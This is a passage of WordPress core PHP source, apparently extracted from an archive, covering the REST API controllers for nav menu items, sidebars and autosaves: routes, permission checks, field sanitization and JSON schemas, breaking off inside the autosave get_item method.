	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		$links     = parent::prepare_links( $post );
		$menu_item = $this->get_nav_menu_item( $post->ID );

		if ( empty( $menu_item->object_id ) ) {
			return $links;
		}

		$path = '';
		$type = '';
		$key  = $menu_item->type;
		if ( 'post_type' === $menu_item->type ) {
			$path = rest_get_route_for_post( $menu_item->object_id );
			$type = get_post_type( $menu_item->object_id );
		} elseif ( 'taxonomy' === $menu_item->type ) {
			$path = rest_get_route_for_term( $menu_item->object_id );
			$type = get_term_field( 'taxonomy', $menu_item->object_id );
		}

		if ( $path && $type ) {
			$links['https://api.w.org/menu-item-object'][] = array(
				'href'       => rest_url( $path ),
				$key         => $type,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	protected function get_schema_links() {
		$links   = parent::get_schema_links();
		$href    = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
		$links[] = array(
			'rel'          => 'https://api.w.org/menu-item-object',
			'title'        => __( 'Get linked object.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'object' => array(
						'type' => 'integer',
					),
				),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the nav menu item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema' => 'http://json-schema.org/draft-04/schema#',
			'title'   => $this->post_type,
			'type'    => 'object',
		);

		$schema['properties']['title'] = array(
			'description' => __( 'The title for the object.' ),
			'type'        => array( 'string', 'object' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Title for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML title for the object, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['id'] = array(
			'description' => __( 'Unique identifier for the object.' ),
			'type'        => 'integer',
			'default'     => 0,
			'minimum'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type_label'] = array(
			'description' => __( 'The singular label used to describe this type of menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type'] = array(
			'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ),
			'type'        => 'string',
			'enum'        => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'default'     => 'custom',
		);

		$schema['properties']['status'] = array(
			'description' => __( 'A named status for the object.' ),
			'type'        => 'string',
			'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
			'default'     => 'publish',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the object.' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['attr_title'] = array(
			'description' => __( 'Text for the title attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['classes'] = array(
			'description' => __( 'Class names for the link element of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The description of this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['menu_order'] = array(
			'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 1,
			'default'     => 1,
		);

		$schema['properties']['object'] = array(
			'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'string',
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_key',
			),
		);

		$schema['properties']['object_id'] = array(
			'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
		);

		$schema['properties']['target'] = array(
			'description' => __( 'The target attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'enum'        => array(
				'_blank',
				'',
			),
		);

		$schema['properties']['url'] = array(
			'description' => __( 'The URL to which this menu item points.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'validate_callback' => static function ( $url ) {
					if ( '' === $url ) {
						return true;
					}

					if ( sanitize_url( $url ) ) {
						return true;
					}

					return new WP_Error(
						'rest_invalid_url',
						__( 'Invalid URL.' )
					);
				},
			),
		);

		$schema['properties']['xfn'] = array(
			'description' => __( 'The XFN relationship expressed in the link of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['invalid'] = array(
			'description' => __( 'Whether the menu item represents an object that no longer exists.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'boolean',
			'readonly'    => true,
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base                          = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$schema['properties'][ $base ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);

			if ( 'nav_menu' === $taxonomy->name ) {
				$schema['properties'][ $base ]['type'] = 'integer';
				unset( $schema['properties'][ $base ]['items'] );
			}
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['menu_order'] = array(
			'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'menu_order',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'menu_order',
			),
		);
		// Change default to 100 items.
		$query_params['per_page']['default'] = 100;

		return $query_params;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.9.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'], $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
				'menu_order'    => 'menu_order',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		$query_args['update_menu_item_cache'] = true;

		return $query_args;
	}

	/**
	 * Gets the id of the menu that the given menu item belongs to.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_item_id Menu item id.
	 * @return int
	 */
	protected function get_menu_id( $menu_item_id ) {
		$menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
		$menu_id  = 0;
		if ( $menu_ids && ! is_wp_error( $menu_ids ) ) {
			$menu_id = array_shift( $menu_ids );
		}

		return $menu_id;
	}
}
endpoints/class-wp-rest-sidebars-controller.php000066600000037510152442706000015751 0ustar00<?php
/**
 * REST API: WP_REST_Sidebars_Controller class
 *
 * Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class used to manage a site's sidebars.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Sidebars_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Sidebars controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'sidebars';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id'      => array(
							'description' => __( 'The id of a registered sidebar' ),
							'type'        => 'string',
						),
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( $this->check_read_permission( $sidebar ) ) {
				return true;
			}
		}

		return $this->do_permissions_check();
	}

	/**
	 * Retrieves the list of sidebars (active or inactive).
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$this->retrieve_widgets();

		$data              = array();
		$permissions_check = $this->do_permissions_check();

		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) {
				continue;
			}

			$data[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $sidebar, $request )
			);
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to get a single sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( $sidebar && $this->check_read_permission( $sidebar ) ) {
			return true;
		}

		return $this->do_permissions_check();
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param array $sidebar The registered sidebar configuration.
	 * @return bool Whether the side can be read.
	 */
	protected function check_read_permission( $sidebar ) {
		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Retrieves one sidebar from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( ! $sidebar ) {
			return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if a given request has access to update sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->do_permissions_check();
	}

	/**
	 * Updates a sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( isset( $request['widgets'] ) ) {
			$sidebars = wp_get_sidebars_widgets();

			foreach ( $sidebars as $sidebar_id => $widgets ) {
				foreach ( $widgets as $i => $widget_id ) {
					// This automatically removes the passed widget IDs from any other sidebars in use.
					if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) {
						unset( $sidebars[ $sidebar_id ][ $i ] );
					}

					// This automatically removes omitted widget IDs to the inactive sidebar.
					if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) {
						$sidebars['wp_inactive_widgets'][] = $widget_id;
					}
				}
			}

			$sidebars[ $request['id'] ] = $request['widgets'];

			wp_set_sidebars_widgets( $sidebars );
		}

		$request['context'] = 'edit';

		$sidebar = $this->get_sidebar( $request['id'] );

		/**
		 * Fires after a sidebar is updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param array           $sidebar The updated sidebar.
		 * @param WP_REST_Request $request Request object.
		 */
		do_action( 'rest_save_sidebar', $sidebar, $request );

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function do_permissions_check() {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to access the widgets screen.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the registered sidebar with the given id.
	 *
	 * @since 5.8.0
	 *
	 * @param string|int $id ID of the sidebar.
	 * @return array|null The discovered sidebar, or null if it is not registered.
	 */
	protected function get_sidebar( $id ) {
		return wp_get_sidebar( $id );
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Prepares a single sidebar output for response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global array $wp_registered_sidebars The registered sidebars.
	 * @global array $wp_registered_widgets  The registered widgets.
	 *
	 * @param array           $item    Sidebar instance.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Prepared response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_registered_sidebars, $wp_registered_widgets;

		// Restores the more descriptive, specific name for use within this method.
		$raw_sidebar = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */
			return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request );
		}

		$id      = $raw_sidebar['id'];
		$sidebar = array( 'id' => $id );

		if ( isset( $wp_registered_sidebars[ $id ] ) ) {
			$registered_sidebar = $wp_registered_sidebars[ $id ];

			$sidebar['status']        = 'active';
			$sidebar['name']          = isset( $registered_sidebar['name'] ) ? $registered_sidebar['name'] : '';
			$sidebar['description']   = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : '';
			$sidebar['class']         = isset( $registered_sidebar['class'] ) ? $registered_sidebar['class'] : '';
			$sidebar['before_widget'] = isset( $registered_sidebar['before_widget'] ) ? $registered_sidebar['before_widget'] : '';
			$sidebar['after_widget']  = isset( $registered_sidebar['after_widget'] ) ? $registered_sidebar['after_widget'] : '';
			$sidebar['before_title']  = isset( $registered_sidebar['before_title'] ) ? $registered_sidebar['before_title'] : '';
			$sidebar['after_title']   = isset( $registered_sidebar['after_title'] ) ? $registered_sidebar['after_title'] : '';
		} else {
			$sidebar['status']      = 'inactive';
			$sidebar['name']        = $raw_sidebar['name'];
			$sidebar['description'] = '';
			$sidebar['class']       = '';
		}

		if ( wp_is_block_theme() ) {
			$sidebar['status'] = 'inactive';
		}

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( 'widgets', $fields ) ) {
			$sidebars = wp_get_sidebars_widgets();
			$widgets  = array_filter(
				isset( $sidebars[ $sidebar['id'] ] ) ? $sidebars[ $sidebar['id'] ] : array(),
				static function ( $widget_id ) use ( $wp_registered_widgets ) {
					return isset( $wp_registered_widgets[ $widget_id ] );
				}
			);

			$sidebar['widgets'] = array_values( $widgets );
		}

		$schema = $this->get_item_schema();
		$data   = array();
		foreach ( $schema['properties'] as $property_id => $property ) {
			if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) {
				$data[ $property_id ] = $sidebar[ $property_id ];
			} elseif ( isset( $property['default'] ) ) {
				$data[ $property_id ] = $property['default'];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $sidebar ) );
		}

		/**
		 * Filters the REST API response for a sidebar.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $raw_sidebar The raw sidebar data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request );
	}

	/**
	 * Prepares links for the sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param array $sidebar Sidebar.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $sidebar ) {
		return array(
			'collection'               => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'                     => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ),
			),
			'https://api.w.org/widget' => array(
				'href'       => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ),
				'embeddable' => true,
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'sidebar',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'ID of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'Unique name identifying the sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'   => array(
					'description' => __( 'Description of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'class'         => array(
					'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_widget' => array(
					'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_widget'  => array(
					'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_title'  => array(
					'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_title'   => array(
					'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'status'        => array(
					'description' => __( 'Status of sidebar.' ),
					'type'        => 'string',
					'enum'        => array( 'active', 'inactive' ),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'widgets'       => array(
					'description' => __( 'Nested widgets.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => array( 'object', 'string' ),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-autosaves-controller.php000066600000035606152442706000016173 0ustar00<?php
/**
 * REST API: WP_REST_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to access autosaves via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Revisions_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post.
	 *
	 * @since 5.0.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view autosaves of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to create an autosave revision.
	 *
	 * Autosave revisions inherit permissions from the parent post,
	 * check if the current user has permission to edit the post.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$id = $request->get_param( 'id' );

		if ( empty( $id ) ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid item ID.' ),
				array( 'status' => 404 )
			);
		}

		return $this->parent_controller->update_item_permissions_check( $request );
	}

	/**
	 * Creates, updates or deletes an autosave revision.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) {
			define( 'DOING_AUTOSAVE', true );
		}

		$post = $this->get_parent( $request['id'] );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
		$prepared_post->ID = $post->ID;
		$user_id           = get_current_user_id();

		// We need to check post lock to ensure the original author didn't leave their browser tab open.
		if ( ! function_exists( 'wp_check_post_lock' ) ) {
			require_once ABSPATH . 'wp-admin/includes/post.php';
		}

		$post_lock = wp_check_post_lock( $post->ID );
		$is_draft  = 'draft' === $post->post_status || 'auto-draft' === $post->post_status;

		if ( $is_draft && (int) $post->post_author === $user_id && ! $post_lock ) {
			/*
			 * Draft posts for the same author: autosaving updates the post and does not create a revision.
			 * Convert the post object to an array and add slashes, wp_update_post() expects escaped array.
			 */
			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
		} else {
			// Non-draft posts: create or update the post autosave. Pass the meta data.
			$autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) );
		}

		if ( is_wp_error( $autosave_id ) ) {
			return $autosave_id;
		}

		$autosave = get_post( $autosave_id );
		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $autosave, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Get the autosave, if the ID is valid.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent_id = (int) $request->get_param( 'parent' );

